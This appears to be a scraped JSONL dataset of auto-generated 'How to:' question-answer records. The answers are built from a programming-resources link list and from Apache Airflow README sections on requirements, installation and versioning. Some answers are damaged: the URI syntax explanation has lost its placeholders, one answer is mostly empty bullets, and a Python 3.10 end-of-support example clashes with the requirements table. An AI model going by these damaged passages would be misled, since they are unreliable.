Martin Fowler\n- [Service oriented architecture: scaling the Uber engineering codebase as we grow](https://eng.uber.com/soa/)\n- [Don’t start with microservices in production – monoliths are your friend](https://arnoldgalovics.com/microservices-in-production/)\n- [Deep lessons from Google And EBay on building ecosystems of microservices](http://highscalability.com/blog/2015/12/1/deep-lessons-from-google-and-ebay-on-building-ecosystems-of.html)\n- [Introducing domain-oriented microservice architecture](https://eng.uber.com/microservice-architecture/), Uber\n  - Instead of orienting around single microservices, we oriented around collections of related microservices. We call these domains.\n  - In small organizations, the operational benefit likely does not offset the increase in architectural complexity.\n- [Best Practices for Building a Microservice Architecture](https://www.vinaysahni.com/best-practices-for-building-a-microservice-architecture#correlation-i", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520335"}
{"id": "gh_cf12b725e701", "question": "How to: Scalability", "question_body": "About charlax/professional-programming", "answer": "**See also: [Reliability](#reliability), [System architecture](#system-architecture)**\n\n- [Scalable web architecture and distributed systems](http://www.aosabook.org/en/distsys.html)\n- 📖 [Scalability Rules: 50 Principles for Scaling Web Sites](https://smile.amazon.com/Scalability-Rules-Principles-Scaling-Sites/dp/013443160X) ([presentation](http://www.slideshare.net/cyrilwang/scalability-rules))\n- [Scaling to 100k Users](https://alexpareto.com/scalability/systems/2020/02/03/scaling-100k.html), Alex Pareto. The basics of getting from 1 to 100k users.", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520342"}
{"id": "gh_d9935a671bd7", "question": "How to: Technical debt", "question_body": "About charlax/professional-programming", "answer": "- [TechnicalDebt](https://martinfowler.com/bliki/TechnicalDebt.html), Martin Fowler.\n- [Fixing Technical Debt with an Engineering Allocation Framework](https://docs.google.com/presentation/d/16WU1cxG02jnVGQ5byviw3_Q0ILDPZPYtTvU91_210T0/edit#slide=id.p)\n  - You don't need to stop shipping features to fix technical debt\n  - Communicate the business value\n- [Ur-Technical Debt](https://www.georgefairbanks.com/ieee-software-v32-n4-july-2020-ur-technical-debt)\n  - Today, any code that a developer dislikes is branded as technical debt.\n  - Ward Cunningham invented the debt metaphor to explain to his manager that building iteratively gave them working code faster, much like borrowing money to start a project, but that it was essential to keep paying down the debt, otherwise the interest payments would grind the project to a halt.\n  - Ur-technical debt is generally not detectable by static analysis.\n- [3 Kinds of Good Tech Debt](https://engineering.squarespace.com/blog/2019/three-kinds-of-good-tech-debt)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520349"}
{"id": "gh_f92010e8ccc1", "question": "How to: Type system", "question_body": "About charlax/professional-programming", "answer": "- [Counterexamples in Type Systems](https://counterexamples.org/intro.html): a library of runtime issues that weren't caught by the type system\n- [Use Your Type System](https://www.dzombak.com/blog/2025/07/use-your-type-system/)\n  - Your models should each have their own ID type. Public and even private functions should often avoid dealing in floats or integers alone.", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520360"}
{"id": "gh_e25d45de972e", "question": "How to: Typography", "question_body": "About charlax/professional-programming", "answer": "- [Butterick’s Practical Typography](https://practicaltypography.com/)\n- [Typography for Lawyers](https://typographyforlawyers.com/)\n- [Quick guide to web typography for developers · OlegWock](https://sinja.io/blog/web-typography-quick-guide)\n- [Features of your font you had no idea about](https://sinja.io/blog/get-maximum-out-of-your-font)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520366"}
{"id": "gh_3436f6acec61", "question": "How to: Work ethics, productivity & work/life balance", "question_body": "About charlax/professional-programming", "answer": "Check out this section on my [list of engineering-management resources, \"Personal productivity\"](https://github.com/charlax/engineering-management/#personal-productivity).", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520386"}
{"id": "gh_cde6d42f3c56", "question": "How to: Web development", "question_body": "About charlax/professional-programming", "answer": "In this repository: check [training/web-dev/](./training/web-dev/) and [./training/front-end/](./training/front-end/)\n\nLearning guide and resources:\n\n- [grab/front-end-guide](https://github.com/grab/front-end-guide): a study guide and introduction to the modern front end stack.\n- [Front-End Developer Handbook 2019](https://frontendmasters.com/books/front-end-handbook/2019/), Cody Lindley\n- [A Directory of design and front-end resources](http://uigoodies.com/index.html)\n- 🧰 [codingknite/frontend-development](https://github.com/codingknite/frontend-development): a list of resources for frontend development\n\nTopics:\n\n- [136 facts every web dev should know](https://www.baldurbjarnason.com/2021/100-things-every-web-developer-should-know/)\n- [Maintainable CSS](http://maintainablecss.com/)\n- [Things you forgot (or never knew) because of React](https://joshcollinsworth.com/blog/antiquated-react)\n- [Checklist - The A11Y Project](https://www.a11yproject.com/checklist/) for accessibility\n- [DevTools Tips](https://devtoolstips.org/)\n- [67 Weird Debugging Tricks Your Browser Doesn't Want You to Know](https://alan.norbauer.com/articles/browser-debugging-tricks)\n- [Client-Side Architecture Basics](https://khalilstemmler.com/articles/client-side-architecture/introduction/)\n- [Web Browser Engineering](https://browser.engineering/index.html): this book explains how to build a basic but complete web browser, from networking to JavaScript, in a couple thousand lines of Python.\n- [Don't animate height!](https://www.granola.ai/blog/dont-animate-height)\n- [How modern browsers work](https://addyo.substack.com/p/how-modern-browsers-work)\n\nURLs:\n\n- [The Great Confusion About URIs](https://benbernardblog.com/the-great-confusion-about-uris/)\n  - A URI is a string of characters that identifies a resource. Its syntax is `\n:\n?\n#\n`, where only `\n` and `\n` are mandatory. URL and URN are URIs.\n  - A URL is a string of characters that identifies a resource located on a computer network. Its syntax depends on its scheme. E.g. `mailto:billg@microsoft.com`.\n  - A URN is a string of characters that uniquely identifies a resource. Its syntax is `urn:\n:\n`. E.g. `urn:isbn:9780062301239`\n- [Examples of Great URL Design](https://blog.jim-nielsen.com/2023/examples-of-great-urls/)\n- [Four Cool URLs - Alex Pounds' Blog](https://alexpounds.com/blog/2018/12/29/four-cool-urls)\n- [Your URL Is Your State](https://alfy.blog/2025/10/31/your-url-is-your-state.html)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520399"}
{"id": "gh_29d90b814fe1", "question": "How to: Writing (communication, blogging)", "question_body": "About charlax/professional-programming", "answer": "➡️  See also my [engineering-management list](https://github.com/charlax/engineering-management#writing)\n\n- [Undervalued Software Engineering Skills: Writing Well](https://blog.pragmaticengineer.com/on-writing-well/)\n  - From the HN discussion: \"Writing a couple of pages of design docs or an Amazon-style 6 pager or whatever might take a few days of work, but can save weeks or more of wasted implementation time when you realise your system design was flawed or it doesn't address any real user needs.\"\n- [Sell Yourself Sell Your Work](https://www.solipsys.co.uk/new/SellYourselfSellYourWork.html?te20hn)\n  - If you've done great work, if you've produced superb software or fixed a fault with an aeroplane or investigated a problem, without telling anyone you may as well not have bothered.\n- [The Writing Well Handbook](https://www.julian.com/guide/write/intro)\n  - Ideas — Identify what to write about\n  - First Drafts — Generate insights on your topic\n  - Rewriting — Rewrite for clarity, intrigue, and succinctness\n  - Style — Rewrite for style and flow\n  - Practicing — Improve as a writer\n- [Write Simply](http://paulgraham.com/simply.html), Paul Graham\n- [Writing is Thinking: Learning to Write with Confidence](https://blog.stephsmith.io/learning-to-write-with-confidence/)\n- [It's time to start writing](https://alexnixon.github.io/2019/12/10/writing.html) explains why Jeff Bezos banned PowerPoint at Amazon.\n  - The reason writing a good 4 page memo is harder than \"writing\" a 20 page powerpoint is because the narrative structure of a good memo forces better thought and better understanding of what's more important than what, and how things are related.\n  - Powerpoint-style presentations somehow give permission to gloss over ideas, flatten out any sense of relative importance, and ignore the interconnectedness of ideas.\n- [Programming and Writing](http://antirez.com/news/135), Antirez\n- [Writing one sentence per line](https://sive.rs/1s)\n- [Ask HN: How to level up your technical writing?](https://news.ycombinator.com/item?id=31859040). Lots of great resources.\n- [Patterns in confusing explanations](https://jvns.ca/blog/confusing-explanations/), Julia Evans\n- [Technical Writing for Developers](https://css-tricks.com/technical-writing-for-developers/)\n- [Some blogging myths](https://jvns.ca/blog/2023/06/05/some-blogging-myths/), Julia Evans\n- [George Orwell's Six Rules for Writing](https://infusion.media/blog/george-orwells-six-rules-for-writing/)\n  - Never use a metaphor, simile, or other figure of speech which you are used to seeing in print.\n  - Never use a long word where a short one will do.\n  - If it is possible to cut a word out, always cut it out.\n  - Never use the passive where you can use the active.\n  - Never use a foreign phrase, a scientific word, or a jargon word if you can think of an everyday English equivalent.\n  - Break any of these rules sooner than say anything outright barbarous.\n- [Blog Writing for Developers](https://rmoff.net/2023/07/19/blog-writing-for-developers/)\n- [7 Common Mistakes in Architecture Diagrams](https://www.ilograph.com/blog/posts/diagram-mistakes/)\n- [Why Blog If Nobody Reads It?](https://andysblog.uk/why-blog-if-nobody-reads-it/)\n  - Blogging forces clarity. It makes you structure your thoughts, sharpen your perspective.\n- [Specificity: A weapon of mass effectiveness](https://longform.asmartbear.com/specificity/), A Smart Bear.\n  - Swap generic words for specifics to make your text clear, powerful, engaging, and even funny.\n\nGuides & classes about technical writing:\n\n- [Documentation Guide — Write the Docs](https://www.writethedocs.org/guide/)\n  - Principles\n  - Style guides\n  - Docs as code\n  - Markup languages\n  - Tools\n- [Technical Writing One introduction](https://developers.google.com/tech-writing/one), Google\n  - Grammar\n  - Active voice\n  - Clear & short sentences\n\n![Write like an Amazonian](./images/amazon_writing_rules.jpeg)\n\n> If you’re overthinking, write. If you’re underthinking, read.\n> – @AlexAndBooks_", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520418"}
{"id": "gh_e287f332230f", "question": "How to: Resources & inspiration for presentations", "question_body": "About charlax/professional-programming", "answer": "-\n-\n- Dilbert\n- Calvin & Hobbes ([search engine](http://michaelyingling.com/random/calvin_and_hobbes/))\n-", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520423"}
{"id": "gh_9eeae291b72f", "question": "How to: Keeping up-to-date", "question_body": "About charlax/professional-programming", "answer": "Website and RSS feeds (I use [Feedly](http://feedly.com/)):\n\n- [Hacker News](https://news.ycombinator.com/) ⭐️\n- [VentureBeat](https://venturebeat.com/)\n- [High Scalability](http://highscalability.com/): see [above](#system-architecture)\n\nSecurity:\n\n- [Schneier on Security](https://www.schneier.com/)\n- [Krebs on Security](https://krebsonsecurity.com/)\n- [The Hacker News](https://thehackernews.com/)\n\nNewsletters:\n\n- [Bytes](https://bytes.dev/) (JavaScript)\n- [PyCoders](https://pycoders.com/) (Python)\n- [Posthog](https://newsletter.posthog.com/)\n- [Tech Talks Weekly](https://techtalksweekly.io/)\n\nBlogs:\n\n- [kilimchoi/engineering-blogs](https://github.com/kilimchoi/engineering-blogs)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520430"}
{"id": "gh_59eb375d9503", "question": "How to: My other lists", "question_body": "About charlax/professional-programming", "answer": "- [engineering-management](https://github.com/charlax/engineering-management/)\n- [entrepreneurship-resources](https://github.com/charlax/entrepreneurship-resources)\n- [professional-programming](https://github.com/charlax/professional-programming)\n- [python-education](https://github.com/charlax/python-education)", "tags": ["charlax"], "source": "github_gists", "category": "charlax", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 50255, "answer_score": 10, "has_code": false, "url": "https://github.com/charlax/professional-programming", "collected_at": "2026-01-16T23:27:45.520435"}
{"id": "gh_46fd0caccf4d", "question": "How to: Apache Airflow", "question_body": "About apache/airflow", "answer": "| Category   | Badges                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               |\n|------------|--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| License    | [![License](https://img.shields.io/:license-Apache%202-blue.svg)](https://www.apache.org/licenses/LICENSE-2.0.txt)                                                                                                                                                                                                                                                                                                                                                                                                                   |\n| PyPI       | [![PyPI version](https://badge.fury.io/py/apache-airflow.svg)](https://badge.fury.io/py/apache-airflow) [![PyPI - Python Version](https://img.shields.io/pypi/pyversions/apache-airflow.svg)](https://pypi.org/project/apache-airflow/) [![PyPI - Downloads](https://img.shields.io/pypi/dm/apache-airflow)](https://pypi.org/project/apache-airflow/)                                                                                                                                                                               |\n| Containers | [![Docker Pulls](https://img.shields.io/docker/pulls/apache/airflow.svg)](https://hub.docker.com/r/apache/airflow) [![Docker Stars](https://img.shields.io/docker/stars/apache/airflow.svg)](https://hub.docker.com/r/apache/airflow) [![Artifact HUB](https://img.shields.io/endpoint?url=https://artifacthub.io/badge/repository/apache-airflow)](https://artifacthub.io/packages/search?repo=apache-airflow)                                                                                                                      |\n| Community  | [![Contributors](https://img.shields.io/github/contributors/apache/airflow)](https://github.com/apache/airflow/graphs/contributors) [![Slack Status](https://img.shields.io/badge/slack-join_chat-white.svg?logo=slack&style=social)](https://s.apache.org/airflow-slack) ![Commit Activity](https://img.shields.io/github/commit-activity/m/apache/airflow) [![LFX Health Score](https://insights.linuxfoundation.org/api/badge/health-score?project=apache-airflow)](https://insights.linuxfoundation.org/project/apache-airflow)  |\n| Dev tools  | [![prek](https://img.shields.io/endpoint?url=https://raw.githubusercontent.com/j178/prek/master/docs/assets/badge-v0.json)](https://github.com/j178/prek)                                                                                                                                                                                                                                                                                                                                                                                 |\n\n| Version | Build Status                                                                                                                                                    |\n|---------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| Main    | [![GitHub Build main](https://github.com/apache/airflow/actions/workflows/ci-amd-arm.yml/badge.svg)](https://github.com/apache/airflow/actions)                 |\n| 3.x     | [![GitHub Build 3.1](https://github.com/apache/airflow/actions/workflows/ci-amd-arm.yml/badge.svg?branch=v3-1-test)](https://github.com/apache/airflow/actions) |\n| 2.x     | [![GitHub Build 2.11](https://github.com/apache/airflow/actions/workflows/ci.yml/badge.svg?branch=v2-11-test)](https://github.com/apache/airflow/actions)       |\n[Apache Airflow](https://airflow.apache.org/docs/apache-airflow/stable/) (or simply Airflow) is a platform to programmatically author, schedule, and monitor workf", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 43877, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.618929"}
{"id": "gh_259e4c9e741f", "question": "How to: Project Focus", "question_body": "About apache/airflow", "answer": "Airflow works best with workflows that are mostly static and slowly changing. When the Dag structure is similar from one run to the next, it clarifies the unit of work and continuity. Other similar projects include [Luigi](https://github.com/spotify/luigi), [Oozie](https://oozie.apache.org/) and [Azkaban](https://azkaban.github.io/).\n\nAirflow is commonly used to process data, but has the opinion that tasks should ideally be idempotent (i.e., results of the task will be the same, and will not create duplicated data in a destination system), and should not pass large quantities of data from one task to the next (though tasks can pass metadata using Airflow's [XCom feature](https://airflow.apache.org/docs/apache-airflow/stable/concepts/xcoms.html)). For high-volume, data-intensive tasks, a best practice is to delegate to external services specializing in that type of work.\n\nAirflow is not a streaming solution, but it is often used to process real-time data, pulling data off streams in batches.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.618946"}
{"id": "gh_ac3b037bbbde", "question": "How to: Principles", "question_body": "About apache/airflow", "answer": "- **Dynamic**: Pipelines are defined in code, enabling dynamic dag generation and parameterization.\n- **Extensible**: The Airflow framework includes a wide range of built-in operators and can be extended to fit your needs.\n- **Flexible**: Airflow leverages the [**Jinja**](https://jinja.palletsprojects.com) templating engine, allowing rich customizations.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.618953"}
{"id": "gh_c57a85383e62", "question": "How to: Requirements", "question_body": "About apache/airflow", "answer": "Apache Airflow is tested with:\n\n|            | Main version (dev)           | Stable version (3.1.6) |\n|------------|------------------------------|------------------------|\n| Python     | 3.10, 3.11, 3.12, 3.13       | 3.10, 3.11, 3.12, 3.13 |\n| Platform   | AMD64/ARM64(\\*)              | AMD64/ARM64(\\*)        |\n| Kubernetes | 1.30, 1.31, 1.32, 1.33, 1.34 | 1.30, 1.31, 1.32, 1.33 |\n| PostgreSQL | 14, 15, 16, 17, 18           | 13, 14, 15, 16, 17     |\n| MySQL      | 8.0, 8.4, Innovation         | 8.0, 8.4, Innovation   |\n| SQLite     | 3.15.0+                      | 3.15.0+                |\n\n\\* Experimental\n\n**Note**: MariaDB is not tested/recommended.\n\n**Note**: SQLite is used in Airflow tests. Do not use it in production. We recommend\nusing the latest stable version of SQLite for local development.\n\n**Note**: Airflow currently can be run on POSIX-compliant Operating Systems. For development, it is regularly\ntested on fairly modern Linux Distros and recent versions of macOS.\nOn Windows you can run it via WSL2 (Windows Subsystem for Linux 2) or via Linux Containers.\nThe work to add Windows support is tracked via [#10388](https://github.com/apache/airflow/issues/10388), but\nit is not a high priority. You should only use Linux-based distros as \"Production\" execution environment\nas this is the only environment that is supported. The only distro that is used in our CI tests and that\nis used in the [Community managed DockerHub image](https://hub.docker.com/p/apache/airflow) is\n`Debian Bookworm`.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 43877, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.618963"}
{"id": "gh_3091283231d8", "question": "How to: Getting started", "question_body": "About apache/airflow", "answer": "Visit the official Airflow website documentation (latest **stable** release) for help with\n[installing Airflow](https://airflow.apache.org/docs/apache-airflow/stable/installation/),\n[getting started](https://airflow.apache.org/docs/apache-airflow/stable/start.html), or walking\nthrough a more complete [tutorial](https://airflow.apache.org/docs/apache-airflow/stable/tutorial/).\n\n> Note: If you're looking for documentation for the main branch (latest development branch): you can find it on [s.apache.org/airflow-docs](https://s.apache.org/airflow-docs/).\n\nFor more information on Airflow Improvement Proposals (AIPs), visit\nthe [Airflow Wiki](https://cwiki.apache.org/confluence/display/AIRFLOW/Airflow+Improvement+Proposals).\n\nDocumentation for dependent projects like provider distributions, Docker image, Helm Chart, you'll find it in [the documentation index](https://airflow.apache.org/docs/).", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.618971"}
{"id": "gh_c2bf3e407240", "question": "How to: Installing from PyPI", "question_body": "About apache/airflow", "answer": "We publish Apache Airflow as `apache-airflow` package in PyPI. Installing it however might be sometimes tricky\nbecause Airflow is a bit of both a library and application. Libraries usually keep their dependencies open, and\napplications usually pin them, but we should do neither and both simultaneously. We decided to keep\nour dependencies as open as possible (in `pyproject.toml`) so users can install different versions of libraries\nif needed. This means that `pip install apache-airflow` will not work from time to time or will\nproduce unusable Airflow installation.\n\nTo have repeatable installation, however, we keep a set of \"known-to-be-working\" constraint\nfiles in the orphan `constraints-main` and `constraints-2-0` branches. We keep those \"known-to-be-working\"\nconstraints files separately per major/minor Python version.\nYou can use them as constraint files when installing Airflow from PyPI. Note that you have to specify\ncorrect Airflow tag/version/branch and Python versions in the URL.\n\n1. Installing just Airflow:\n\n> Note: Only `pip` installation is currently officially supported.\n\nWhile it is possible to install Airflow with tools like [Poetry](https://python-poetry.org) or\n[pip-tools](https://pypi.org/project/pip-tools), they do not share the same workflow as\n`pip` - especially when it comes to constraint vs. requirements management.\nInstalling via `Poetry` or `pip-tools` is not currently supported.\n\nIf you wish to install Airflow using those tools, you should use the constraint files and convert\nthem to the appropriate format and workflow that your tool requires.\n\n```bash\npip install 'apache-airflow==3.1.6' \\\n --constraint \"https://raw.githubusercontent.com/apache/airflow/constraints-3.1.6/constraints-3.10.txt\"\n```\n\n2. Installing with extras (i.e., postgres, google)\n\n```bash\npip install 'apache-airflow[postgres,google]==3.1.6' \\\n --constraint \"https://raw.githubusercontent.com/apache/airflow/constraints-3.1.6/constraints-3.10.txt\"\n```\n\nFor information on installing provider distributions, check\n[providers](http://airflow.apache.org/docs/apache-airflow-providers/index.html).", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 43877, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.618981"}
{"id": "gh_d2faa6430418", "question": "How to: Installation", "question_body": "About apache/airflow", "answer": "For comprehensive instructions on setting up your local development environment and installing Apache Airflow, please refer to the [INSTALLING.md](INSTALLING.md) file.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.618987"}
{"id": "gh_2361b6b1f9cd", "question": "How to: Official source code", "question_body": "About apache/airflow", "answer": "Apache Airflow is an [Apache Software Foundation](https://www.apache.org) (ASF) project,\nand our official source code releases:\n\n- Follow the [ASF Release Policy](https://www.apache.org/legal/release-policy.html)\n- Can be downloaded from [the ASF Distribution Directory](https://downloads.apache.org/airflow)\n- Are cryptographically signed by the release manager\n- Are officially voted on by the PMC members during the\n  [Release Approval Process](https://www.apache.org/legal/release-policy.html#release-approval)\n\nFollowing the ASF rules, the source packages released must be sufficient for a user to build and test the\nrelease provided they have access to the appropriate platform and tools.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.618995"}
{"id": "gh_4165911d791e", "question": "How to: Convenience packages", "question_body": "About apache/airflow", "answer": "There are other ways of installing and using Airflow. Those are \"convenience\" methods - they are\nnot \"official releases\" as stated by the `ASF Release Policy`, but they can be used by the users\nwho do not want to build the software themselves.\n\nThose are - in the order of most common ways people install Airflow:\n\n- [PyPI releases](https://pypi.org/project/apache-airflow/) to install Airflow using standard `pip` tool\n- [Docker Images](https://hub.docker.com/r/apache/airflow) to install airflow via\n  `docker` tool, use them in Kubernetes, Helm Charts, `docker-compose`, `docker swarm`, etc. You can\n  read more about using, customizing, and extending the images in the\n  [Latest docs](https://airflow.apache.org/docs/docker-stack/index.html), and\n  learn details on the internals in the [images](https://airflow.apache.org/docs/docker-stack/index.html) document.\n- [Tags in GitHub](https://github.com/apache/airflow/tags) to retrieve the git project sources that\n  were used to generate official source packages via git\n\nAll those artifacts are not official releases, but they are prepared using officially released sources.\nSome of those artifacts are \"development\" or \"pre-release\" ones, and they are clearly marked as such\nfollowing the ASF Policy.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619003"}
{"id": "gh_8342c265c450", "question": "How to: User Interface", "question_body": "About apache/airflow", "answer": "- **Dags**: Overview of all Dags in your environment.\n\n  ![Dags](https://raw.githubusercontent.com/apache/airflow/main/airflow-core/docs/img/ui-dark/dags.png)\n\n- **Assets**: Overview of Assets with dependencies.\n\n  ![Asset Dependencies](https://raw.githubusercontent.com/apache/airflow/main/airflow-core/docs/img/ui-dark/assets_graph.png)\n\n- **Grid**: Grid representation of a Dag that spans across time.\n\n  ![Grid](https://raw.githubusercontent.com/apache/airflow/main/airflow-core/docs/img/ui-dark/grid.png)\n\n- **Graph**: Visualization of a Dag's dependencies and their current status for a specific run.\n\n  ![Graph](https://raw.githubusercontent.com/apache/airflow/main/airflow-core/docs/img/ui-dark/graph.png)\n\n- **Home**: Summary statistics of your Airflow environment.\n\n  ![Home](https://raw.githubusercontent.com/apache/airflow/main/airflow-core/docs/img/ui-dark/home.png)\n\n- **Backfill**: Backfilling a Dag for a specific date range.\n\n  ![Backfill](https://raw.githubusercontent.com/apache/airflow/main/airflow-core/docs/img/ui-dark/backfill.png)\n\n- **Code**: Quick way to view source code of a Dag.\n\n  ![Code](https://raw.githubusercontent.com/apache/airflow/main/airflow-core/docs/img/ui-dark/code.png)", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619010"}
{"id": "gh_e9484ff04fcf", "question": "How to: Semantic versioning", "question_body": "About apache/airflow", "answer": "As of Airflow 2.0.0, we support a strict [SemVer](https://semver.org/) approach for all packages released.\n\nThere are few specific rules that we agreed to that define details of versioning of the different\npackages:\n\n* **Airflow**: SemVer rules apply to core airflow only (excludes any changes to providers).\n  Changing limits for versions of Airflow dependencies is not a breaking change on its own.\n* **Airflow Providers**: SemVer rules apply to changes in the particular provider's code only.\n  SemVer MAJOR and MINOR versions for the packages are independent of the Airflow version.\n  For example, `google 4.1.0` and `amazon 3.1.1` providers can happily be installed\n  with `Airflow 2.1.2`. If there are limits of cross-dependencies between providers and Airflow packages,\n  they are present in providers as `install_requires` limitations. We aim to keep backwards\n  compatibility of providers with all previously released Airflow 2 versions but\n  there will sometimes be breaking changes that might make some, or all\n  providers, have minimum Airflow version specified.\n* **Airflow Helm Chart**: SemVer rules apply to changes in the chart only. SemVer MAJOR and MINOR\n  versions for the chart are independent of the Airflow version. We aim to keep backwards\n  compatibility of the Helm Chart with all released Airflow 2 versions, but some new features might\n  only work starting from specific Airflow releases. We might however limit the Helm\n  Chart to depend on minimal Airflow version.\n* **Airflow API clients**: Their versioning is independent from Airflow versions. They follow their own\n  SemVer rules for breaking changes and new features - which for example allows to change the way we generate\n  the clients.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 43877, "answer_score": 10, "has_code": false, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619020"}
{"id": "gh_683c51ae3318", "question": "How to: Version Life Cycle", "question_body": "About apache/airflow", "answer": "Apache Airflow version life cycle:\n| Version   | Current Patch/Minor   | State     | First Release   | Limited Maintenance   | EOL/Terminated   |\n|-----------|-----------------------|-----------|-----------------|-----------------------|------------------|\n| 3         | 3.1.6                 | Supported | Apr 22, 2025    | TBD                   | TBD              |\n| 2         | 2.11.0                | Supported | Dec 17, 2020    | Oct 22, 2025          | Apr 22, 2026     |\n| 1.10      | 1.10.15               | EOL       | Aug 27, 2018    | Dec 17, 2020          | June 17, 2021    |\n| 1.9       | 1.9.0                 | EOL       | Jan 03, 2018    | Aug 27, 2018          | Aug 27, 2018     |\n| 1.8       | 1.8.2                 | EOL       | Mar 19, 2017    | Jan 03, 2018          | Jan 03, 2018     |\n| 1.7       | 1.7.1.2               | EOL       | Mar 28, 2016    | Mar 19, 2017          | Mar 19, 2017     |\nLimited support versions will be supported with security and critical bug fix only.\nEOL versions will not get any fixes nor support.\nWe always recommend that all users run the latest available minor release for whatever major version is in use.\nWe **highly** recommend upgrading to the latest Airflow major release at the earliest convenient time and before the EOL date.", "tags": ["apache"], "source": "github_gists", "category": "apache", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 43877, "answer_score": 10, "has_code": true, "url": "https://github.com/apache/airflow", "collected_at": "2026-01-16T23:27:50.619028"}
{"id": "gh_31b8e356a7dc", "question": "How to: Support for Python and Kubernetes versions", "question_body": "About apache/airflow", "answer": "As of Airflow 2.0, we agreed to certain rules we follow for Python and Kubernetes support.\nThey are based on the official release schedule of Python and Kubernetes, nicely summarized in the\n[Python Developer's Guide](https://devguide.python.org/#status-of-python-branches) and\n[Kubernetes version skew policy](https://kubernetes.io/docs/setup/release/version-skew-policy/).\n\n1. We drop support for Python and Kubernetes versions when they reach EOL. Except for Kubernetes, a\n   version stays supported by Airflow if two major cloud providers still provide support for it. We drop\n   support for those EOL versions in main right after EOL date, and it is effectively removed when we release\n   the first new MINOR (Or MAJOR if there is no new MINOR version) of Airflow. For example, for Python 3.10 it\n   means that we will drop support in main right after 27.06.2023, and the first MAJOR or MINOR version of\n   Airflow released after will not have it.\n\n2. We support a new version of Python/Kubernetes in main after they are officially released, as soon as we\n   make them work in our CI pipeline (which might not be immediate due to dependencies catching up with\n   new versions of Python mostly) we release new images/support in Airflow based on the working CI setup.\n\n3. This policy is best-effort which means there may be situations where we might 